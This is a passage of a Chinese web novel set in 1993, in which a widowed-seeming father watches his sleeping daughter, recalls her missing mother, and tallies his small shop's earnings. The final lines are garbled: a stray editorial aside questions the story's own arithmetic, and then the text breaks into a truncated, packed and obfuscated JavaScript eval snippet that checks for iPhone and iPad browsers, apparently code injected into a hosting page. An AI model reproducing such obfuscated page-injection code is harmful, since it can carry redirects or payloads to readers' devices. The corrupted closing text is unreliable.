色了,边角还缝了块补丁——
去年冬天笑笑尿床,褥子湿了一大片,他洗的时候不小心扯破了,就用一块旧布缝上,针脚歪歪扭扭的,比他缝裤子的手艺还差。
他轻轻给笑笑盖好被子,被子是蓝色的,上面有个小熊图案,是笑笑三岁生日时他买的,当时花了8块钱,是他半个月的烟钱——
他以前抽2毛钱一包的“海河”烟,一天抽一包,从那以后就戒了,把钱省下来给笑笑买东西。
现在被子有点小了,盖到笑笑的脚踝就够了,他打算等下个月赚了钱,再去供销社买块新布,自己做一床大的——
供销社的纯棉布2块5一尺,做一床被子要6尺布,得15块钱,他要卖50袋牛奶才能凑够。
他就着昏暗的光线,久久凝视着女儿睡梦中仍不时蹙起的小眉头,心里像被什么东西揪着疼,疼得他都快喘不过气了。
他想起苏晚晴以前抱笑笑的样子,她总把女儿的头靠在自己肩膀上,一只手托着笑笑的屁股,另一只手轻轻拍着她的背,哼着不成调的曲子——
大多是当时流行的《在那桃花盛开的地方》,是蒋大为唱的,当时收音机里天天放。阳光从窗户里照进来,落在她们身上,暖得像要化了。
可现在,只剩下女儿眉间的褶皱,和他空荡荡的怀抱,还有满屋子的寂静,只有窗外的雨声还在淅淅沥沥。
“笑笑,”
他低声承诺,声音虽轻,却带着不容置疑的坚定,像是在跟女儿保证,也像是在跟自己保证,“爸爸一定会帮你找到答案。
无论妈妈在哪里,爸爸都会让她知道,有一个多么好的女儿,在等着她。”
他从枕头下摸出一个磨破封面的旧笔记本,封面是红色的,当年是供销社卖的“英雄”牌,5毛钱一本,
现在磨破的地方露出里面的硬纸板,纸页都有点发黄了,边缘还卷着,是被他翻得太多次。
里面除了夹着那张泛黄的照片——
苏晚晴抱着刚出生的笑笑,笑得眼睛弯成了月牙,怀里的笑笑闭着眼睛,小拳头攥着她的衬衫纽扣——还有一张小纸条,是苏晚晴走时留下的,只写了“照顾好笑笑”五个字。
字迹是用钢笔写的,是当时常见的“英雄”牌钢笔,墨水是“鸵鸟”牌,1块2一瓶,质量不算好,容易洇墨,加上泪水浸泡,“笑”字的最后一笔都快看不清了。
他每次看都要小心翼翼,怕纸条再碎了——他把纸条夹在两层塑料膜里,塑料膜是从旧包装袋上剪下来的,能防水。
他用指腹轻轻擦了擦照片上的灰尘,像是在擦拭一段被尘封的时光,指尖触到照片上苏晚晴的笑脸,鼻子突然一酸,眼泪差点掉下来。
他赶紧把照片塞回笔记本里,怕眼泪滴在上面,把照片弄花了——这是笑笑唯一一张有妈妈的照片,1993年胶卷洗照片不容易,丢了就再也找不回来了。
雨停了,窗外透进清冷的光,照在对面修车铺挂着的铁皮招牌上,“张师傅修车”四个字被雨水冲得有些模糊,“张”字的一点都快看不见了。
张师傅是镇上唯一的修车师傅,以前在国营汽修厂上班,后来下岗开了修车铺,修一辆自行车补胎要1块钱,换链条要3块钱。
招牌下面还挂着个旧轮胎,是去年冬天换下来的,轮胎上还扎着个小钉子,上面挂着点泥,风吹过的时候,轮胎会轻轻晃,发出“吱呀”的响声,在安静的清晨格外明显。
林凡站起身,走到柜台前,从抽屉里拿出仅有的50块钱——
那是他昨天卖了两箱“活力28”洗衣粉和几瓶酱油攒下来的。酱油是本地酿造的,1块2一瓶,利润只有2毛钱,两箱洗衣粉才赚了8块钱(一箱12袋,一袋赚3分钱,两箱赚7**2?不对,原文说两箱赚8块,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|i